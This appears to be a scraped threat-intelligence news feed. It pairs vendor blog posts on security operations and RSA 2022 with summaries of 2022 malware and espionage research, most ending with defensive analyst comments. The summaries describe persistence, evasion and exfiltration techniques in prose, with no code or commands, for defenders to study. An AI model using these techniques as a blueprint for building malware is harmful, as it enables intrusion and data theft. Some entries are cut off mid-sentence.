2022-09-01 16:50:00 | Security Operations are More Difficult Now More Than Ever. Buy Why? (lien direct) | According to recent research by ESG, 52% of respondents believe security operations are more difficult today than they were two years ago. Responses stated this was due to multiple factors, such as the increasingly dangerous threat landscape, a growing attack surface, the volume and complexity of security alerts, and public cloud proliferation. Today’s threats are more sophisticated than ever, making them more challenging to defend against. Security teams must constantly do more with less, protecting more data, endpoints, and applications. And, as the threat landscape evolves, so will they, but chances are they must do so with fewer resources. The growing list of challenges is never-ending. So what tops the list? An Ever-Growing Attack Surface Organizations are collecting and storing more data than ever, driven by more cloud-based applications and services. This new on-prem/off-prem environment has created more potential entry points for attackers. Additionally, many organizations lose track of their assets, failing to update policies and their security infrastructure, leaving them vulnerable to attacks that exploit known vulnerabilities. Another reason security teams face more challenges today is the increasing number of mobile devices and cloud apps used by employees. These devices and apps can provide a convenient way for employees to access company data, but they can also be a security risk if they are not adequately secured. The Evolving Threat Landscape As the attack surface grows, so does the number of potential threats. Security teams must now contend with a broader range of threats, including sophisticated malware, zero-day exploits, and ransomware. Additionally, attackers are becoming more brazen and are targeting high-profile organizations with well-funded security operations. In addition, the rise of social media has created new opportunities for hackers to launch cyber attacks. Social media platforms can spread malware or gather information about people’s online habits, used to launch targeted attacks and infiltrate enterprise organizations. Increasing Compliance Requirements Organizations must comply with an ever-growing number of regulations, such as the EU’s General Data Protection Regulation (GDPR), that require security teams to put in place additional controls and processes, which can be costly and time-consuming. Additionally, compliance failures can result in heavy fines and strain an already tight budget. Limited Resources According to (ISC)²'s 2021 Cyber Workforce Report, the global cybersecurity workforce needs to grow 65 percent to defend organizations’ critical assets effectively. While the number of professionals required to fill the gap has decreased, the number of qualified cyber professionals will fall even further due to the growing demand for highly skilled individuals. Complex Tech Stack Enterprises frequently deploy new security tools and services to address changing needs and increased threats. As previously mentioned, a typical enterprise SOC may use a combination of twenty or more technologies, making it difficult to customize each solution for its environment. The interoperability issues caused by the possibility of using multiple vendors make it very challenging to get a complete picture of your overall security environment. The Need to Adapt Despite these challenges, security teams must find ways to adapt to protect their organizations effectively against ever-evolving threats.

Reservations Requested: TA558 Targets Hospitality and Travel
(published: August 18, 2022)
Since 2018, financially-motivated threat group TA558 has targeted hospitality and travel with reservation-themed, business-relevant phishing emails. The group concentrates on targeting Latin America using lures written in Portuguese and Spanish, and sometimes uses English and wider targeting (North America, Western Europe). TA558 was seen leveraging at least 15 different malware payloads, most often AsyncRAT, Loda RAT, Revenge RAT, and Vjw0rm. In 2022, Proofpoint researchers detected that TA558 increased its activity and moved from using malicious macros to URLs and container files (ISO, RAR).
Analyst Comment: Microsoft’s preparations to disable macros by default in Office products caused multiple threat groups including TA558 to adopt new filetypes to deliver payloads. It is crucial for personnel working with invoices and other external attachments to use updated, secured systems and be trained on phishing threats. Anomali Match can be used to quickly search your infrastructure for known TA558 IOCs.

Estonia Subjected to 'Extensive' Cyberattacks after Moving Soviet Monuments
(published: August 18, 2022)
On August 17, 2022, Russian hacktivist group KillNet launched distributed denial-of-service (DDoS) attacks targeting Estonia. The Estonian government confirmed receiving the “most extensive” DDoS attacks in 15 years, but stressed that all services are back online after just some minor interruptions. Small and medium-sized DDoS attacks targeted 16 state and private organizations in the country, with seven of them experiencing downtime as a result. Specifically, the Estonian Tax and Customs Board website was unavailable for about 70 minutes.
Analyst Comment: Russian cyber activity follows political tensions, this time coinciding with the removal of a Red Army memorial. Estonia seemingly easily fended off this Russian DDoS attack, but the country is one of the top in cyber preparedness, and Russia limited it’s strike to using hacktivist groups that give plausible deniability when attributing the cyber attack on a NATO country.

APT-C-35: New Windows Framework Revealed
(published: August 11, 2022)
The DoNot Team (APT-C-35) are India-sponsored actors active since at least 2016. Morphisec Labs researchers discovered a new Windows framework used by the group in its campaign targeting Pakistani government and defense departments. The attack starts with a spearphishing RTF attachment. If opened in a Microsoft Office application, it downloads a malicious remote template. After the victim enables editing (macroses) a multi-stage framework deployment starts. It includes two shellcode stages followed by main DLL that, based on victim fingerprinting, downloads a custom set of additional information-stealing modules.
Analyst Comment: The described DoNot Team framework is pretty unique in its customisation, fingerprinting, and module implementation. At the same time, the general theme of spearphishing attachment that asks the targeted user to enable editing is not new and can be mitigated by anti-phishing training and Microsoft Office settings hardening.

So RapperBot, What Ya Bruting For?
(published: August 3, 2022)
RapperBot, a new Internet of things (IoT) botnet, is rapidly evolving despite appearing in the wild just two months ago (June 2022). Fortinet researchers discovered that RapperBot heavily reuses parts of the Mirai source code, but changed the attack vector (brute-forcing SSH instead of Telnet), command and control (C2) protocol, and added persistence capabilities. RapperBot maintains remote access by adding the attacker's public key to ~/.ssh/authorized_keys. The latest RapperBot samples also started adding the root user "suhelper” to /etc/passwd and /etc/shadow/, and continue to add the root user account every hour. Top targeted IPs were from Taiwan, USA, and South Korea, in that order. RapperBot has basic DDoS capabilities such as UDP and TCP STOMP flood copied from Mirai source code.
Analyst Comment: Despite sharing a significant amount of source code with Mirai variants, RapperBot appears to be developed by a persistent actor and not a novice motivated by notoriety. It is possible that the actors will add new impact functionality after the RapperBot botnet grows substantially. SSH server administrators should adhere to secure password practices. It is also important to note that simply restarting the device, changing SSH credentials or even disabling SSH password authentication does not remove the RapperBot infection.

SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT”
(published: July 28, 2022)
Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode.
Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).

Digium Phones Under Attack: Insight Into the Web Shell Implant
(published: July 15, 2022)
Palo Alto Unit42 researchers have uncovered a large-scale campaign targeting Elastix VoIP telephony servers used in Digium phones. The attackers were exploiting CVE-2021-45461, a remote code execution (RCE) vulnerability in the Rest Phone Apps (restapps) module. The attackers used a two-stage malware: initial dropper shell script was installing the PHP web shell backdoor. The malware achieves polymorphism through binary padding by implanting a random junk string into each malware download. This polymorphism allowed Unit42 to detect more than 500,000 unique malware samples from late December 2021 till the end of March 2022. The attackers use multilayer obfuscation, schedules tasks, and new user creation for persistence.
Analyst Comment: Potentially affected FreePBX users should update their restapps (the fixed versions are 15.0.20 and 16.0.19, or newer). New polymorphic threats require a defense-in-depth strategy including malware sandbox detection and orchestrating multiple security appliances and applications.

Targets of Interest | Russian Organizations Increasingly Under Attack By Chinese APTs
(published: July 7, 2022)
SentinelLabs researchers detected yet another China-sponsored threat group targeting Russia with a cyberespionage campaign. The attacks start with a spearphishing email containing Microsoft Office maldocs built with the Royal Road malicious document builder. These maldocs were dropping the Bisonal backdoor remote access trojan (RAT). Besides targeted Russian organizations, the same attackers continue targeting other countries such as Pakistan. This China-sponsored activity is attributed with medium confidence to Tonto Team (CactusPete, Earth Akhlut).
Analyst Comment: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from advanced persistent threats (APTs), including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.

OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow
(published: July 6, 2022)
Intezer researchers describe a new Linux malware dubbed OrBit, that was fully undetected at the time of the discovery. This malware hooks functions and adds itself to all running processes, but it doesn’t use LD_PRELOAD as previously described Linux threats. Instead it achieves persistence by adding the path to the malware into the /etc/ld.so.preload and by patching the binary of the loader itself so it will load the malicious shared object. OrBit establishes an SSH connection, then stages and infiltrates stolen credentials. It avoids detection by multiple functions that show running processes or network connections, as it hooks these functions and filters their output.
Analyst Comment: Defenders are advised to use network telemetry to detect anomalous SSH traffic associated with OrBit exfiltration attempts. Consider network segmentation, storing sensitive data offline, and deploying security solutions as statically linked executables.

Toll Fraud Malware: How an Android Application Can Drain Your Wallet
(published: June 30, 2022)
Toll fraud malware (subcategory of billing fraud) subscribes users to premium services without their knowledge or consent. It is one of the most prevalent types of Android malware, accounting for 35% of installed harmful applications from the Google Play Store in the first quarter of 2022. Microsoft researchers describe evolution of the toll fraud malware techniques used to abuse the Wireless Application Protocol (WAP) billing. Toll malware can intercept one-time passwords (OTPs) over multiple protocols (HTTP, SMS, or USSD). It suppresses notifications and uses dynamic code loading to hide its malicious activities.
Analyst Comment: Mobile applications should only be downloaded from official trusted locations such as the Google Play Store. Users should be mindful when granting unusual, powerful permissions such as SMS permissions, notification listener access, or accessibility access. Replace older Android phones if they no longer receive updates.

ZuoRAT Hijacks SOHO Routers To Silently Stalk Networks
(published: June 28, 2022)
Black Lotus Labs discovered a China-sponsored, years-long campaign that exploits small office/home office (SOHO) routers for initial access. When exploiting Ruckus JCG-Q20 routers in Hong Kong, the attackers leveraged CVE-2020-26878 and CVE-2020-26879 vulnerabilities. Other exploits are yet to be uncovered with the most targeted devices being from ASUS, Cisco, DrayTek and NETGEAR mostly in Canada, the UK, and the US. The attackers were installing a heavily modified version of Mirai botnet dubbed ZuoRAT. ZuoRAT collects information on target networks, collects traffic (credentials passed in the clear, browsing activity) and hijacks network communication. Then the attackers move laterally targeting Windows and other machines on the same network and installing one of the three agents: Cobalt Strike, CBeacon, or GoBeacon.
Analyst Comment: SOHO router users should regularly reboot routers and install security updates. Businesses should ensure robust detection on network-based communications.

Lockbit Ransomware Disguised as Copyright Claim E-mail Being Distributed
(published: June 24, 2022)
ASEC researchers have released their analysis of a recent phishing campaign, active since February 2022. The campaign aims to infect users with Lockbit ransomware, using the pretense of a copyright claim as the phishing lure. The phishing email directs the recipient to open the attached zip file which contains a pdf of the infringed material. In reality, the pdf is a disguised NSIS executable which downloads and installs Lockbit. The ransomware is installed onto the desktop for persistence through desktop change or reboot. Prior to data encryption, Lockbit will delete the volume shadow copy to prevent data recovery, in addition to terminating a variety of services and processes to avoid detection.
Analyst Comment: Never click on suspicious attachments or run any executables from suspicious emails. Copyright infringement emails are a common phishing lure. Such emails will be straight forward to rectify if legitimate. If a copyright email is attempting to coerce you into opening attachments, such emails should be treated with extreme caution.

There is More Than One Way To Sleep: Deep Dive into the Implementations of API Hammering by Various Malware Families
(published: June 24, 2022)
Researchers at Palo Alto Networks have released their analysis of new BazarLoader and Zloader samples that utilize API Hammering as a technique to evade sandbox detection. API Hammering makes use of a large volume of Windows API calls to delay the execution of malicious activity to trick sandboxes into thinking the malware is benign. Whilst BazarLoader has utilized the technique in the past, this new variant creates large loops of benign API using a new process. Encoded registry keys within the malware are used for the calls and the large loop count is created from the offset of the first null byte of the first file in System32 directory. Zloader uses a different form of API Hammering to evade sandbox detection. Hardcoded within Zloader are four large functions with many smaller functions within. Each function makes an input/output (I/O) call to mimic the behavior of many legitimate processes.
Analyst Comment: Defense in depth is the best defense against sophisticated malware. The Anomali Platform can assist in detection of malware and Match anomalous activity from all telemetry sources to provide the complete picture of adversary activity within your network.

2022-06-22 13:00:00 | RSA 2022: Cyber Attacks Continue to Come in Ever-Shifting Waves (lien direct) | Supply chains, trust, and the Internet itself remain prime targets. When Russia launched wide-ranging cyber-attacks while its army invaded Ukraine, it also deployed waves of wiper malware to destroy data. The first wave targeted the data on the disks. As Ukraine fortified its defenses in that area, the second wave left the data on the disks alone and went after the metadata. The third wave bypassed the two previous targets and attacked the file systems. As depicted in global news and during sessions of the RSA conference, this was a very methodical and effective approach designed to inflict maximum amounts of damage, and it reflects the methodical, often relentless, attack approaches shaping the threat landscape. In particular, as organizations fortify their defenses, adversaries will continue to focus on trust to gain access, using your partners, your vendors, and your employees against you. What does this mean for enterprise users? As we discussed in our previous post on cyber threats, organizations must find new and novel defenses against adversaries who increasingly shift tactics. As adversaries become more nuanced, we must understand their moves and motivations to try to get one step ahead of them. Let’s Recap: Several high-profile security incidents in the recent past altogether grimly encapsulate the myriad challenges companies now face. NotPetya, the most expensive cyber incident in history, demonstrated how attackers are masquerading their efforts. NotPetya targeted a tax software company in Ukraine in 2017. At first, the effort appeared to be ransomware. However, its intent was purely destructive as it was designed to inflict damage as quickly and effectively as possible. The C Cleaner attack, a few months later, demonstrated how complex and patient actors who were focused on IP level threats had become. The targets were system administrative tools that, if compromised, already had an increased level of access. C Cleaner showed that all software supply chain attacks aren’t created equal. It’s dependent on the level of access of the systems and the users that you’re compromising. Some 3 million versions of the compromised C Cleaner software were downloaded. However, only 50 of the downloaded software received additional payloads. This was an adversary that was willing to compromise more than 3 million systems to just get a foothold into 50. This gives you a clear idea of the challenges that we face as enterprises from these types of sophisticated actors. Attackers are also being more flagrant and doing a better job of covering their tracks. In the past, nation states focused on covert activities. Olympic Destroyer, which targeted the 2018 Olympics in South Korea, showed how attacks are now being brought to the public eye. False flags, tactics applied to deceive or misguide attribution attempts, were also put into Olympic Destroyer. Six months after the attack, it was attributed to multiple different nations, because such care had been put into throwing off attribution. More recently, VPN Filter/Cyber Blink demonstrated how adversaries are targeting different types of equipment. While attacks have historically focused on office equipment, these incidents shifted to home routers, in tandem with the increase in remote work. At home, people often use combination modem routers. These devices challenge detection capabilities. A foothold into home routers also allows actors to analyze all traffic moving in and out of the network. It’s incredibly difficult to detect an attack. You have to treat a home Wi-Fi like a public Wi-Fi at a coffee shop. Threat actors are targeting the foundational infrastructure of the internet as well.

2022-06-21 18:28:00 | Cyber Threats Are as Bad as You Imagine, But Different Than You May Think (lien direct) | The Global Threat Landscape is Novel and Requires a Novel Response From Russia to China to South Korea, the global threat landscape continues to mature, often confounding the assumptions of those who must defend against the attacks. Novel techniques are the norm, such as criminals posing as job seekers to infiltrate networks or attacking non-obvious networks. This results in attacks that are harder to predict, adversaries that are harder to detect, and breaches that are harder to address. Harder, but not impossible. While we are certainly living in a more dangerous cyber age, we also find ourselves at a point of inflection. XDR is a significant evolution, and we believe that adversary detection and response (ADR) is not far behind, particularly with more collaboration between the public and private sectors. Perhaps most importantly, we are getting closer and closer to realizing the full promise of Big Data in a cybersecurity context. At Anomali, much of our energy is put towards closing that gap. We believe it is the key to unlocking adversary defense as a truly viable and scalable approach to securing companies and people. At the RSA Conference 2022, cyber threat experts gave attendees a virtual trip around the world during a panel presentation examining threat actor activity from both nation-states and criminal groups. The panelists revealed the latest global threat activity, as well as the best strategies to thwart increasingly sophisticated attacks. They detailed adversary behavior that should both concern and energize us, and we share it here in the hopes of generating energy amongst our community, our partners, our customers, and all those who see an understanding of adversary behavior as a critical mission. Attacks Go Beyond Traditional Platforms China, while not as flashy and flamboyant as Russia, is reshaping the cyber threat landscape as well. Its attacks are moving beyond traditional platforms such as Microsoft and Linux malware to esoteric systems, like Huawei routers and Solaris implants. As panelists noted, the attack surface is shifting, widening, and morphing in many different ways. For example, China exploited a vulnerability in software that tracks diseases in cattle to gain a foothold into 18 state and local governments in the U.S. that use the software. Often, threat actors can exploit vulnerabilities within hours. The implication, according to the panel? Defenders must look beyond traditional assets and accelerate the patching of critical systems. It’s no longer a matter of simply matching every so often. Instead, it’s imperative to have hard conversations with the business about downtime and schedule patching regularly. Ransomware as Harassment Iran has become an innovator in government-backed ransomware. Iranian attackers are becoming more patient, sometimes having 10 interactions with a victim before doing anything malicious. The panelists referred to them as “big-game hunters at scale,” and I couldn’t agree more. We’re not talking about just targeting one system within the network to lock it up. This is a network-wide ransomware endeavor to get as much ransom as possible. Add to this the practice of leaking data to harass organizations. Cyber Criminals are Posing as Job Seekers North Korea, whose cyber activities have been mostly on hold during the pandemic, is returning in a vengeful – and creative way. Among the newest developments: A focus on cryptocurrency schemes. Panelists recounted examples of stolen crypto wallets.

Update: The Phish Goes On - 5 Million Stolen Credentials and Counting
(published: June 16, 2022)
PIXM researchers describe an ongoing, large-scale Facebook phishing campaign. Its primary targets are Facebook Messenger mobile users and an estimated five million users lost their login credentials. The campaign evades Facebook anti-phishing protection by redirecting to a new page at a legitimate service such as amaze.co, famous.co, funnel-preview.com, or glitch.me. In June 2022, the campaign also employed the tactic of displaying legitimate shopping cart content at the final page for about two seconds before displaying the phishing content. The campaign is attributed to Colombian actor BenderCrack (Hackerasueldo) who monetizes displaying affiliate ads.
Analyst Comment: Users should check what domain is asking for login credentials before providing those. Organizations can consider monitoring their employees using Facebook as a Single Sign-On (SSO) Provider.

Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat
(published: June 9, 2022)
Intezer and BlackBerry researchers described a new, previously unknown malware family dubbed Symbiote. It is a very stealthy Linux backdoor and credential stealer that has been targeting financial and other sectors in Brazil since November 2021. Symbiote is a shared object (SO) library that is loaded into all running processes using LD_PRELOAD before any other SOs. It uses hardcoded lists to hide associated processes and files, and affects the way ldd displays lists of SOs to remove itself from it. Additionally, Symbiote uses three methods to hide its network traffic. For TCP, Symbiote hides traffic related to some high-numbered ports and/or certain IP addresses using two techniques: (1) hooking fopen and fopen64 and passing a scribbed file content for /proc/net/tcp that lists current TCP sockets, and (2) hooking extended Berkeley Packet Filter (eBPF) code to hide certain network traffic from packet capture tools. For UDP, Symbiote hooks two libpcap functions filtering out packets containing certain domains and fixing the packet count. All these evasion measures can lead to Symbiote being hidden during a live forensic investigation.
Analyst Comment: Defenders are advised to use network telemetry to detect anomalous DNS requests associated with Symbiote exfiltration attempts. Security solutions could be deployed as statically linked executables so they don’t expose themselves to this kind of compromise by calling for additional libraries.

Alert (AA22-158A). People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices
(published: June 8, 2022)
Several US federal agencies issued a special Cybersecurity Advisory regarding China-sponsored activities concentrating on two aspects: compromise of unpatched network devices and threats to IT and telecom. Attackers compromise unpatched network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, to serve as “hop points” to obfuscate their China-based IP addresses in preparation and during the next intrusion. Similarly, routers in IT and Telecom companies are targeted for initial access by China-sponsored groups, this time using open-source router specific software frameworks, RouterSploit and RouterScan.

WinDealer Dealing on the Side
(published: June 2, 2022)
Kaspersky researchers detected a man-on-the-side attack used by China-sponsored threat group LuoYu. Man-on-the-side is similar to man-in-the-middle (MitM) attack; the attacker has regular access to the communication channel. In these attacks LuoYu were using a potent modular malware dubbed WinDealer that can serve as a backdoor, downloader, and infostealer. The URL that distributes WinDealer is benign, but on rare conditions serves the malware. One WinDealer sample was able to use a random IP from 48,000 IP addresses of two Chinese IP ranges. Another WinDealer sample was programmed to interact with a non-existent domain name, www[.]microsoftcom.
Analyst Comment: Man-on-the-side attacks are hard to detect. Defense would require a constant use of a VPN to avoid networks that the attacker has access to. A defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) approach is a good mitigation step to help prevent actors from advanced threat groups.

How the Saitama Backdoor uses DNS Tunneling
(published: May 25, 2022)
MalwareBytes Researchers have released their report detailing the process behind which the Saitama backdoor utilizes DNS tunneling to stealthy communicate with command and control (C2) infrastructure. DNS tunneling is an effective way to hide C2 communication as DNS traffic serves a vital function in modern day internet communications thus blocking DNS traffic is almost never done. Saitama formats its DNS lookups with the structure of a domain consisting of message, counter . root domain. Data is encoded utilizing a hardcoded base36 alphabet. There are four types of messages that Saitama can send using this method: Make Contact to establish communication with a C2 domain, Ask For Command to get the expected size of the payload to be delivered, Get A Command in which Saitama will make Receive requests to retrieve payloads and instructions and finally Run The Command in which Saitama runs the instructions or executes the payload and sends the results to the established C2.
Analyst Comment: Implement an effective DNS filtering system to block malicious queries. Furthermore, maintaining a whitelist of allowed applications for installation will assist in preventing malware like Saitama from being installed.

VMware Vulnerabilities Exploited in the Wild (CVE-2022-22954 and Others)
(published: May 20, 2022)
In April 2022, VMware publicly revealed several vulnerabilities affecting its products, and by May 2022 Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency directive to mitigate two of the VMware vulnerabilities (CVE-2022-22954 and CVE-2022-22960). CVE-2022-22954 is a remote code execution (RCE) vulnerability using server-side template injection to target VMware Workspace ONE Access and Identity Manager. It can be easily exploited with a single HTTP request to a vulnerable device and was seen delivering various payloads including coinminers, Perl Shellbots, Scanning/Callbacks, and Webshells. CVE-2022-22954 is also being exploited to drop variants of the Mirai/Gafgyt, and in the case of the observed Enemybot variant, final payloads themselves embed CVE-2022-22954 exploits for further exploitation and propagation.

COBALT MIRAGE Conducts Ransomware Operations in U.S.
(published: May 12, 2022)
Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.
Analyst Comment: However small your government or NGO organization is, it still needs protection from advanced cyber actors. Keep your system updated, and employ mitigation strategies when updates for critical vulnerabilities are not available.

Mobile Subscription Trojans and Their Little Tricks
(published: May 6, 2022)
Kaspersky researchers analyzed five Android trojans that are secretly subscribing users to paid services. Jocker trojan operators add malicious code to legitimate apps and re-upload them to Google Store under different names. To avoid detection, malicious functionality won’t start until the trojan checks that it is available in the store. The malicious payload is split in up to four files. It can block or substitute anti-fraud scripts, and modify X-Requested-With header in an HTTP request. Another Android malware involved in subscription fraud, MobOk trojan, has additional functionality to bypass captcha. MobOk was seen in a malicious app in Google Store, but the most common infection vector is being spread by other Trojans such as Triada.
Analyst Comment: Limit your apps to downloads from the official stores (Google Store for Android), avoid new apps with low number of downloads and bad reviews. Pay attention to the terms of use and payment. Avoid granting it too many permissions if those are not crucial to the app alleged function. Monitor your balance and subscription list.

A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

SocGholish and Zloader – From Fake Updates and Installers to Owning Your Systems
(published: April 25, 2022)
Cybereason researchers have compared trending attacks involving SocGholish and Zloader malware. Both infection chains begin with social engineering and malicious downloads masquerading as legitimate software, and both lead to data theft and possible ransomware installation. SocGholish attacks rely on drive-by downloads followed by user execution of purported browser installer or browser update. The SocGholish JavaScript payload is obfuscated using random variable names and string manipulation. The attacker domain names are written in reverse order with the individual string characters being put at the odd index positions. Zloader infection starts by masquerading as a popular application such as TeamViewer. Zloader acts as information stealer, backdoor, and downloader. Active since 2016, Zloader actively evolves and has acquired detection evasion capabilities, such as excluding its processes from Windows Defender and using living-off-the-land (LotL) executables.
Analyst Comment: All applications should be carefully researched prior to installing on a personal or work machine. Applications that request additional permissions upon installation should be carefully vetted prior to allowing permissions. Additionally, all applications, especially free versions, should only be downloaded from trusted vendors.

Lazarus Targets Chemical Sector
(published: April 14, 2022)
In January 2022, Symantec researchers discovered a new wave of Operation Dream Job. This operation, attributed to the North Korea-sponsored group Lazarus, utilizes fake job offers via professional social media and email communications. With the new wave of attacks, Operation Dream Job switched from targeting the defense, government, and engineering sectors to targeting South Korean organizations operating within the chemical sector. A targeted user executes an HTM file sent via a link. The HTM file is copied to a DLL file to be injected into the legitimate system management software. It downloads and executes the final backdoor: a trojanized version of the Tukaani project LZMA Utils library (XZ Utils) with a malicious export added (AppMgmt). After the initial access, the attackers gain persistence via scheduled tasks, move laterally, and collect credentials and sensitive information.
Analyst Comment: Organizations should train their users to recognize social engineering attacks including those posing as “dream job” proposals. Organizations facing cyberespionage threats should implement a defense-in-depth approach: layering of security mechanisms, redundancy, fail-safe defense processes.

New SolarMaker (Jupyter) Campaign Demonstrates the Malware’s Changing Attack Patterns
(published: April 8, 2022)
Palo Alto Researchers have released their technical analysis of a new version of SolarMaker malware. Prevalent since September 2020, SolarMaker’s initial infection vector is SEO poisoning; creating malicious websites with popular keywords to increase their ranking in search engines. Once clicked on, an encrypted Powershell script is automatically downloaded. When executed, the malware is installed. SolarMaker’s main functionality is the theft of web browser information such as stored passwords, auto-fill data, and saved credit card information. All the data is sent back to an encoded C2 server encrypted with AES. New features discovered by this technical analysis include increased dropper file size, droppers are always signed with legitimate certificates, a switch back to executables instead of MSI files. Furthermore, the backdoor is now loaded into the dropper process instead of the Powershell process upon first time execution.
Analyst Comment: Never click on suspicious links, always inspect the url for any anomalies. Untrusted executables should never be executed, nor privileges assigned to them. Monitor network traffic to assist in the discovery of non standard outbound connections which may indicate c2 activity.

Google is on Guard: Sharks shall not Pass!
(published: April 7, 2022)
Check Point researchers have discovered a series of malicious apps on the Google Play store that infect users with the info stealer Sharkbot whilst masquerading as AV products. The primary functionality of Sharkbot is to steal user credentials and banking details which the user is asked to provide upon launching the app. Furthermore, Sharkbot asks the user to permit it a wide array of permissions that grant the malware a variety of functions such as reading and sending SMS messages and uninstalling other applications. Additionally, the malware is able to evade detection through various techniques. Sharkbot is geofenced, therefore it will stop functioning if it detects the user is from Belarus, China, India, Romania, Russia or Ukraine. Interestingly for Android malware, Sharkbot also utilizes domain generation algorithm (DGA). This allows the malware to dynamically generate C2 domains to help the malware function after a period of time even i |

AcidRain | A Modem Wiper Rains Down on Europe
(published: March 31, 2022)
On February 24, 2022, Viasat KA-SAT modems became inoperable in Ukraine after threat actors exploited a misconfigured VPN appliance, compromised KA-SAT network, and were able to execute management commands on a large number of residential modems simultaneously. SentinelOne researchers discovered that a specific Linux wiper, dubbed AcidRain, likely used in that attack as it shows the same targeting and the same overwriting method that was seen in a Viasat’s Surfbeam2 modem targeted in the attack. AcidRain shows code similarities with VPNFilter stage 3 wiping plugin called dstr, but AcidRain’s code appears to be sloppier, so the connection between the two is still under investigation.
Analyst Comment: Internet service providers are heavily targeted due to their trust relationships with their customers and they should harden their configurations and access policies. Devices targeted by AcidRain can be brought back to service through flash memory/factory reset. Organizations exposed to Russia-Ukrainian military conflict should plan for backup options in case of a wiper attack.

BlackCat Ransomware
(published: March 31, 2022)
BlackCat (ALPHV) ransomware-as-a-service surfaced on Russian-speaking underground forums in late 2021. The BlackCat ransomware is perhaps the first ransomware written entirely in Rust, and is capable of targeting both Windows and Linux machines. It targeted multiple industries in the US, Europe, the Philippines, and other regions, and Polyswarm researchers expect it to expand its operations. It is attributed to the BlackMatter/DarkSide ransomware threat group. BlackCat used some known BlackMatter infrastructure and shared the same techniques: reverse SSH tunnels and scheduled tasks for persistence, LSASS for credential access, lmpacket, RDP, and psexec for command and control.
Analyst Comment: It is crucial for your company to ensure that servers are always running the most current software version. Your company should have policies in place in regards to the proper configurations needed for your servers in order to conduct your business needs safely. Additionally, always practice Defense in Depth (do not rely on single security mechanisms - security measures should be layered, redundant, and failsafe).

Hive Ransomware Ports Its Linux VMware ESXi Encryptor to Rust
(published: March 27, 2022)
The Hive ransomware operators actively copy features first introduced in the BlackCat/ALPHV ransomware to make their ransomware samples more efficient and harder to reverse engineer. They have converted all their builds (targeting Windows, Linux, VMware ESXi) from Golang to the Rust programming language. They also moved from storing the victim's Tor negotiation page credentials in the encryptor executable to requiring the attacker to supply the user name and login password as a command-line argument when launching the malware.
Analyst Comment: Ransomware is an evolving threat, and the most fundamental defense is having proper backup processes in place. Follow the 1-2-3 rule: 3 copies, 2 devices, and 1 stored in a secure location. Data loss is manageable as long as regular backups are maintained.

US Says Kaspersky Poses Unacceptable Risk to National Security
(updated: March 25, 2022)
On March 25, 2022, the US Federal Communications Commission (FCC) added three new entities to its Covered List: China Mobile International USA Inc., China Telecom (Americas) Corp, and AO Kaspersky Labs. The action is aimed to secure US networks from threats posed by Chinese and Russian state-backed entities seeking to engage in espionage and otherwise harm America’s interests. Previously the FCC Covered List had five Chinese entities added in March 2021 including Huawei and ZTE. Kaspersky denied the allegations and stressed that the company “will continue to assure its partners and customers on the quality and integrity of its products, and remains ready to cooperate.” Earlier the same day, HackerOne blocked Kaspersky from its bug bounty program.
Analyst Comment: It seems that the FCC decision does not directly affect private parties using Kaspersky antivirus and other security products. There is no public data showing directly that Kaspersky is currently involved in cyberespionage or some malware distribution activity, but such suspicions were raised in previous years. Direct connections of Kaspersky to Russia and its own Federal Security Services (FSB) makes it both a potential security risk and a reputation risk as the military conflict in Ukraine leads to new sanctions and increased cyber activity.

Double Header: IsaacWiper and CaddyWiper
(published: March 18, 2022)
